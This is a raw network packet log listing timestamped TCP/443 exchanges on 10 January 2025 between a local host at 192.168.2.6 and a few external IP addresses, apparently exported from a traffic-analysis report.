Jan 10, 2025 00:21:15.555409908 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.555444002 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.599736929 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.605165005 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.605175018 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.605190039 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.605196953 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.605220079 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.605228901 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.605242968 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.605304956 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.647866964 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.647880077 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.647901058 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.647907972 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.647994041 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.648015022 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.648068905 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.648068905 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.696232080 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.696244955 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.696274042 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.696324110 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.696332932 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.696381092 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.698592901 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.698609114 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.698795080 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.698801041 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.698848963 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.701050043 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.701066017 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.701133013 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.701138973 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.701179981 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.740097046 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.740129948 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.740221024 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.740231991 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.740283966 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.787451029 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.787482023 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.787554026 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.787570953 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.787619114 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.788348913 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.788382053 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.788422108 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.788427114 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.788460970 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.831566095 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.831574917 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.843084097 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.879612923 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.895593882 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.897986889 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.913325071 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.913333893 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.913496971 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.913508892 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.916913033 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.916989088 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.917357922 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.917392969 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.917449951 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.918720007 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.918804884 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.918986082 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.919045925 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.919060946 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.966797113 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.053584099 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.053677082 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.071800947 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.071815014 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.072096109 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.077215910 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.077534914 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.077929974 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.078080893 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.078953981 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.078968048 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.079333067 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.079349041 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.112519979 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.122553110 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.122612000 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.132651091 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.132724047 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.132750988 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.132913113 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.137651920 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.137670994 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.137717962 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.140697002 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.140712023 CET	443	49878	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.140760899 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.141441107 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.141454935 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.141648054 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.141658068 CET	443	49878	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.146368027 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:16.146377087 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:16.146442890 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:16.146658897 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:16.146673918 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:16.158670902 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.158709049 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.159027100 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.159027100 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.159056902 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.175328970 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.218175888 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.264348984 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.269747972 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.269759893 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.307109118 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.307233095 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.307301998 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.307609081 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:16.307624102 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:16.317017078 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.317226887 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.346570015 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.391118050 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.391138077 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.393392086 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.393712997 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.393800974 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.398025036 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.452615976 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.452651978 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.456058025 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.456132889 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.456202030 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.669594049 CET	443	49878	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.669934988 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.669954062 CET	443	49878	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.671051979 CET	443	49878	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.671123981 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.671471119 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.671535969 CET	443	49878	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.671582937 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.671693087 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.671700001 CET	443	49878	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.671833038 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.671840906 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.673311949 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.673377991 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.673707962 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.673791885 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.673820972 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.687536955 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.687829971 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.687843084 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.688889027 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.689194918 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.689491034 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.689552069 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.689620018 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.689626932 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.715331078 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.725182056 CET	49878	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.725342035 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.725349903 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.738354921 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.769273043 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:16.949589968 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:16.949965954 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:16.949984074 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:16.951088905 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:16.951158047 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:16.952557087 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:16.952637911 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:16.952961922 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:16.952970982 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:16.982799053 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:16.996172905 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.038527966 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.038549900 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070744991 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070763111 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070790052 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070801020 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070810080 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070825100 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.070854902 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070879936 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.070895910 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.070904970 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.075685024 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109486103 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109498978 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109523058 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109532118 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109535933 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109555960 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109574080 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.109594107 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.109622955 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.129858971 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.129873037 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.158207893 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.158217907 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.158231974 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.158257961 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.158293962 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.158313036 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.158339977 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.160134077 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.160144091 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.160161972 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.160171032 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.160200119 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.160214901 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.160262108 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.163522959 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.163541079 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.163559914 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.163570881 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.163578033 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.163642883 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.163642883 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.163664103 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.163676977 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.164722919 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.200108051 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.200117111 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.200130939 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.200154066 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.200189114 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.200205088 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.200247049 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.201793909 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.201806068 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.201833010 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.201843977 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.201915026 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.201924086 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.207041025 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.207056999 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.207076073 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.207084894 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.207155943 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.207155943 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.207168102 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.213749886 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.245855093 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.245897055 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.245913029 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.245930910 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.245950937 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.245970964 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.245997906 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.246000051 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.246068954 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.246112108 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.246118069 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.246546984 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.246601105 CET	443	49876	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.246789932 CET	49876	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.251518011 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.251528978 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.251543045 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.251593113 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.251606941 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.251632929 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.251650095 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.251662970 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.251688957 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.251785994 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.252173901 CET	49888	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.252178907 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.252187967 CET	443	49888	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.252207041 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.252233982 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.252243996 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.252254009 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.252279997 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.300730944 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.311161995 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.311177015 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.311242104 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.311248064 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.311270952 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.311291933 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.311341047 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.312766075 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.312778950 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.312833071 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.312841892 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.312851906 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.312869072 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.312905073 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.312922955 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.313488960 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.313513041 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.313574076 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.313582897 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.313618898 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.313672066 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.319495916 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.319514036 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.319555044 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.319592953 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.319612026 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.319645882 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.319679022 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.319694042 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.321896076 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.321914911 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.321994066 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.322004080 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.322052956 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.339668036 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.339696884 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.339756012 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.339765072 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.339849949 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.339849949 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.398257017 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.398288012 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.398363113 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.398386955 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.398447037 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.398447037 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.398821115 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.398863077 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.398926020 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.398931026 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.398956060 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.399607897 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.399672031 CET	443	49881	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:17.399851084 CET	49881	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:17.405247927 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.405267954 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.405347109 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.405365944 CET	443	49880	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:17.405416965 CET	49880	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:17.406956911 CET	443	49880	152.199.21.175	192.168.2.6
